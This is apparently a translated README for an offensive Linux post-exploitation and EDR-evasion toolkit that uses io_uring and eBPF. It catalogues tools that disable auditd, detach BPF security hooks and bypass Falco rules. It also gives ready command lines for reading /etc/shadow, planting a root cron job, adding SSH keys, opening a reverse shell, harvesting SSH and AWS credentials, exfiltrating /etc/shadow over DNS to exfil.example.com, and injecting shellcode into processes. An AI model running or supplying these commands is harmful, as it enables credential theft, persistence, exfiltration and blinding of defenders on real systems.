
Инструментарий для постэксплуатации и обхода защиты для Linux.
Инструментарий для исследований в области пост-эксплуатации и обхода защиты для Linux, построенный на io_uring и eBPF. Без liburing, без фреймворков, везде используются сырые системные вызовы.
Скоро появятся новые инструменты. Принимаются PR. 🇧🇷
Присоединяйтесь к сообществу Rootkit Researchers
Только для авторизованных исследований и действий red team. Не запускайте это на системах, которые вам не принадлежат.
```
Furtex/
├── io_uring/ raw io_uring ops: file, net, injection, exfil (13 tools)
├── bpf/ BPF map and program tooling (15 tools)
├── ebpf/ BPF-side programs and loaders (9 programs + 2 runners)
├── edrs/ EDR evasion and post-exploitation (75 tools)
└── techniques/ Falco-specific bypass, all 25 default rules (13 tools)
## Требования
**Инструментарий**
| инструмент | необходим для |
|---|---|
| `gcc` | все пользовательские бинарные файлы |
| `clang` | BPF-программы в `ebpf/*.bpf.c` |
| `make` | система сборки |
**Заголовочные файлы и библиотеки**
| пакет | необходим для |
|---|---|
| `linux-headers-$(uname -r)` | `<linux/bpf.h>`, `<linux/io_uring.h>` и соответствующие заголовочные файлы ядра |
| `libbpf-dev` | `<bpf/bpf_helpers.h>` и прочие, используемые в программах `ebpf/` |
| `bpftool` | генерировать `vmlinux.h` с помощью `make vmlinux` внутри `ebpf/` |
В Debian/Kali/Ubuntu:```sh
sudo apt install gcc clang make linux-headers-$(uname -r) libbpf-dev bpftool
Версии ядра
| Минимальная | Что открывает |
|---|---|
| 5.4 | основа io_uring (IORING_FEAT_SINGLE_MMAP, итерация BPF-карт) |
| 5.6 | IORING_OP_OPENAT, IORING_OP_STATX, pidfd_getfd (pidfd_steal) |
| 5.8 | разделение CAP_BPF + CAP_PERFMON (заменяет CAP_SYS_ADMIN для BPF) |
| 5.9 | BPF_LINK_DETACH (bpf_link_detach) |
| 5.19 | IORING_OP_SOCKET (af_packet_send, dns_exfil, xdp_socket_send, bpf_kprobe_bypass) |
Возможности
| Возможность | Инструменты, требующие её |
|---|---|
CAP_BPF (или CAP_SYS_ADMIN до версии 5.8) | все инструменты bpf/, загрузчики ebpf/ |
CAP_PERFMON | программы tracepoint и kprobe из ebpf/ |
CAP_NET_RAW | icmp_tunnel, af_packet_shell, skf_c2_runner, icmp_trigger |
CAP_NET_ADMIN | xdp_socket_send, netfilter_flush |
CAP_AUDIT_CONTROL | audit_kill |
BTF должна быть включена в ядре (CONFIG_DEBUG_INFO_BTF=y) для выполнения make vmlinux для программ ebpf/.
На дистрибутивах со старыми заголовками libc-dev (Ubuntu 22.04 и т.д.) может потребоваться #ifndef IORING_OP_SOCKET / #define IORING_OP_SOCKET 45. В этом репозитории это уже обработано.
| Команда | Сборка |
|---|---|
make all | всё |
make uring | только io_uring/ |
make bpf | пользовательские инструменты bpf/ |
make ebpf | программы на стороне BPF (требуется clang + libbpf) |
make edrs | все бинарники edrs/ |
make techniques | инструменты обхода Falco |
make clean | удалить все бинарники |
edrs/ имеет собственный под-файл Makefile с примерно 75 бинарниками, разделёнными по привилегиям:```
cd edrs && make priv # root / CAP_* required
cd edrs && make unpriv # no privileges needed
См. [PRIVILEGES.md](https://github.com/matheuzsecurity/furtex/blob/main/PRIVILEGES.md) для полного разбора.
## Охват обхода io_uring
SQEs io_uring проходят через очередь (workqueue) ядра. `io_uring_enter(2)` никогда не вызывает `sys_call_table`, никогда не срабатывает на точках трассировки `sys_enter_*` и никогда не попадает под livepatch для `native_sys_call`. Одно это убивает большой класс хуков EDR, не затрагивая ничего.
Что io_uring обходит самостоятельно:
| точка хука | примечание |
|---|---|
| замена указателя `sys_call_table` | io_uring никогда не проходит через таблицу системных вызовов |
| livepatch на `native_sys_call` / `compat_sys_call` | та же причина |
| точки трассировки `sys_enter_*` | путь очереди (workqueue), ни одна точка трассировки не срабатывает |
Что io_uring НЕ обходит самостоятельно (требуется активный инструмент):
| точка хука | инструмент | что делает инструмент |
|---|---|---|
| kprobes на `vfs_read`, `security_file_open` и т. д. | `ftrace_enum` | удаляет хуки kprobes |
| BPF LSM / KRSI | `bpf_link_detach` | отсоединяет BPF-ссылку |
| аудит Linux | `audit_kill` | отключает auditd через NETLINK_AUDIT |
| LD_PRELOAD / патчи PLT-GOT | `plt_unhook` | удаляет хуки пользовательского пространства |
| netfilter OUTPUT / conntrack | `af_packet_shell` | использует AF_PACKET на уровне 2, минует netfilter |
| хуки `inet_stream_connect` | `udp_shell` | использует UDP, никогда не вызывает путь tcp connect |
## io_uring/
`iouring_utils.h` обрабатывает настройку кольца без liburing.
| бинарник | что делает |
|---|---|
| `file_read` | цепочка OPENAT+READ+CLOSE через io_uring, без события sys_enter_read |
| `file_write` | цепочка OPENAT+WRITE+CLOSE |
| `file_append` | как file_write, но с O_APPEND, offset -1 |
| `net_connect` | SOCKET+CONNECT+SEND+RECV в одном кольце |
| `net_reverse_shell` | обратная оболочка через io_uring CONNECT |
| `multifile_read` | до 64 файлов в одном пакете SQE |
| `memfd_exec` | потоковая передача ELF через stdin в memfd, execve через /proc/self/fd |
| `proc_inject` | JIT-инъекция через /proc/PID/mem; инъекция ptrace (флаг --ptrace) |
| `pipe_splice` | SPLICE ядро-ядро, хуки пользовательского пространства никогда не видят байты |
| `inotify_bypass_watch` | io_uring READ не вызывает IN_ACCESS/IN_OPEN |
| `dns_exfil` | шестнадцатеричное кодирование данных как метки DNS-запросов через io_uring SENDMSG |
| `af_packet_send` | сырой Ethernet через AF_PACKET (IORING_OP_SOCKET, минует путь inet) |
| `xdp_socket_send` | сырой кадр через AF_XDP + кольцо UMEM, полностью минует netfilter |```bash
./io_uring/file_read /etc/shadow
./io_uring/file_write /etc/cron.d/x "* * * * * root /tmp/sh"
./io_uring/file_append /root/.ssh/authorized_keys "ssh-ed25519 AAAA..."
./io_uring/net_connect 10.0.0.1 4444 "ping"
./io_uring/net_reverse_shell 192.168.1.1 4444
./io_uring/multifile_read /etc/passwd /etc/shadow /root/.ssh/id_rsa ~/.aws/credentials
cat payload | ./io_uring/memfd_exec [args...]
./io_uring/pipe_splice /etc/shadow /tmp/out
./io_uring/inotify_bypass_watch /var/log/auth.log
./io_uring/dns_exfil 1.2.3.4 exfil.example.com /etc/shadow
sudo ./io_uring/proc_inject
sudo ./io_uring/proc_inject <pid>
sudo ./io_uring/proc_inject <pid> <shellcode_hex>
sudo ./io_uring/proc_inject --ptrace <pid> <shellcode_hex>
sudo ./io_uring/af_packet_send eth0 08:00:27:aa:bb:cc ff:ff:ff:ff:ff:ff "payload"
sudo ./io_uring/xdp_socket_send eth0 <hex-frame>
Большинство инструментов требуют CAP_BPF. env_exfil работает без привилегий. icmp_trigger требует CAP_NET_RAW вместо CAP_BPF.